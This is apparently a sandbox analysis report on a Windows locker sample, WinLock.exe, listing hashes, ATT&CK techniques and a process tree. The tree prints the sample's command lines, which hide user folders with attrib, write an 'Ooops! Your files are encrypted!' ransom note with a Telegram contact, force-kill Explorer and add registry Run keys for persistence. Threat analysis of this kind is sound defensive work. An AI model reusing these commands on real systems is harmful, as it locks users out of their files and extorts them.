8a5b33f6eb04626cc82b922a2b91c389c6314e7ca3a144b3bd08f17ae170f931

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
19/08/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 196KB
Sample260819-vt1a2ayfre
SHA256 8a5b33f6eb04626cc82b922a2b91c389c6314e7ca3a144b3bd08f17ae170f931
MD5 b8dc2090fb85701448b75ecba9a759aa
SHA1 57aba1de9b2973e01bc1fc5562f7b9f89336c3a9
SHA512 c189f2f32134c29096456676a34a27f01f42216cee5d890e3e3df1e1bd2c76fdeef92faaabd3b227a3eb5ee7422cbd9ad11b550f6ee58be49f379003f9e47a28
SSDEEP 6144:GD8A/ehUOqxaPB6WUSPbDddNSCpMW90KImQiXnhbsew:G4AwUOqxaPssvj
TLSH
T1D414385813AB897DD63D237EE0A1110507F46227C603E35E9EE5E4F95E2B313AB12B87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe

Drops desktop.ini file(s) 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1816	cmd.exe
1844	cmd.exe
5464	cmd.exe
772	cmd.exe
5556	cmd.exe
4024	cmd.exe
2052	cmd.exe
2192	cmd.exe
4628	cmd.exe
1452	cmd.exe
5664	cmd.exe
4608	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5672	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4268	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4268	WinLock.exe
Token: SeDebugPrivilege	5672	taskkill.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 4268 wrote to memory of 4024	4268	WinLock.exe	91
PID 4268 wrote to memory of 4608	4268	WinLock.exe	92
PID 4268 wrote to memory of 5556	4268	WinLock.exe	93
PID 4268 wrote to memory of 5664	4268	WinLock.exe	94
PID 4268 wrote to memory of 772	4268	WinLock.exe	95
PID 4268 wrote to memory of 1452	4268	WinLock.exe	96
PID 4268 wrote to memory of 5672	4268	WinLock.exe	97
PID 1452 wrote to memory of 3364	1452	cmd.exe	106
PID 5664 wrote to memory of 2400	5664	cmd.exe	108
PID 772 wrote to memory of 5052	772	cmd.exe	109
PID 4608 wrote to memory of 4812	4608	cmd.exe	110
PID 5556 wrote to memory of 2056	5556	cmd.exe	111
PID 4024 wrote to memory of 2808	4024	cmd.exe	112
PID 5664 wrote to memory of 5432	5664	cmd.exe	113
PID 772 wrote to memory of 1892	772	cmd.exe	114
PID 4608 wrote to memory of 5184	4608	cmd.exe	115
PID 1452 wrote to memory of 2040	1452	cmd.exe	116
PID 4024 wrote to memory of 2528	4024	cmd.exe	117
PID 5556 wrote to memory of 1212	5556	cmd.exe	118
PID 4268 wrote to memory of 2052	4268	WinLock.exe	119
PID 4268 wrote to memory of 1816	4268	WinLock.exe	120
PID 4268 wrote to memory of 2192	4268	WinLock.exe	121
PID 4268 wrote to memory of 1844	4268	WinLock.exe	122
PID 4268 wrote to memory of 5464	4268	WinLock.exe	123
PID 4268 wrote to memory of 4628	4268	WinLock.exe	124
PID 1844 wrote to memory of 8	1844	cmd.exe	131
PID 2052 wrote to memory of 4572	2052	cmd.exe	132
PID 1844 wrote to memory of 2324	1844	cmd.exe	133
PID 2052 wrote to memory of 2092	2052	cmd.exe	134
PID 2192 wrote to memory of 2000	2192	cmd.exe	135
PID 4628 wrote to memory of 3788	4628	cmd.exe	136
PID 5464 wrote to memory of 5588	5464	cmd.exe	137
PID 1816 wrote to memory of 2908	1816	cmd.exe	138
PID 2192 wrote to memory of 872	2192	cmd.exe	139
PID 5464 wrote to memory of 232	5464	cmd.exe	140
PID 1816 wrote to memory of 244	1816	cmd.exe	141
PID 4628 wrote to memory of 984	4628	cmd.exe	142

Views/modifies file attributes 1 TTPs 24 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2528	attrib.exe
4572	attrib.exe
3788	attrib.exe
5184	attrib.exe
1892	attrib.exe
2092	attrib.exe
2908	attrib.exe
5588	attrib.exe
2000	attrib.exe
3364	attrib.exe
2808	attrib.exe
2056	attrib.exe
5432	attrib.exe
2040	attrib.exe
1212	attrib.exe
872	attrib.exe
984	attrib.exe
2400	attrib.exe
5052	attrib.exe
8	attrib.exe
2324	attrib.exe
232	attrib.exe
244	attrib.exe
4812	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2808
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4812
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5556
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2056
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1212
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2400
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5052
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3364
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2040
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5672
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:4572
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:2092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2908
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:244
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:872
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:8
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5588
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:3788
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:984

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:4504

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:4552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WinLock.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinLock.exe.log
Size 1KB
SHA256 58b9918225aee046894cb3c6263687bfe4b5a5b8dff7196d72687d0f3f735034
MD5 8e0f23092b7a620dc2f45b4a9a596029
SHA1 58cc7c47602c73529e91ff9db3c74ff05459e4ea
SHA512 be458f811ad6a1f6b320e8d3e68e71062a8de686bae77c400d65091947b805c95024f3f1837e088cf5ecac5388d36f354285a6b57f91ea55567f19706128a043
TLSH
T1BA318D312772B1D889163F471C1D56C417FF8729B654AD0CB658624ED92705B5F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 82B
SHA256 c4a33d6859b548bbea8df2b25dc4d44e3909674f4acea4b1c74129981c12db69
MD5 24b792ebc6fa2f017b4f53b982ba54b0
SHA1 8f22122b3821de7f2c7416783a4d00dc6d31e827
SHA512 b627501fb4989f351b6c524694d3b29c0769ba97e325b71d82c96379f5751add73d281a098e72d9fa18edb7187059893f1e3a9b1ce150d3fd54454bb808a0454
TLSH
T1E0A012042D685545212211F33C37E141287C984C200328500B10005700350C2149F410
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4268-0-0x0000000000900000-0x0000000000938000-memory.dmp

Download

memory/4268-1-0x000000001CBB0000-0x000000001CBC0000-memory.dmp

Download

memory/4268-3-0x000000001CBB0000-0x000000001CBC0000-memory.dmp

Download

memory/4268-20-0x000000001CBB0000-0x000000001CBC0000-memory.dmp

Download

memory/4268-21-0x000000001CBB0000-0x000000001CBC0000-memory.dmp

Download

memory/4268-22-0x000000001CBB0000-0x000000001CBC0000-memory.dmp

Download

memory/4268-23-0x000000001CBB0000-0x000000001CBC0000-memory.dmp

Download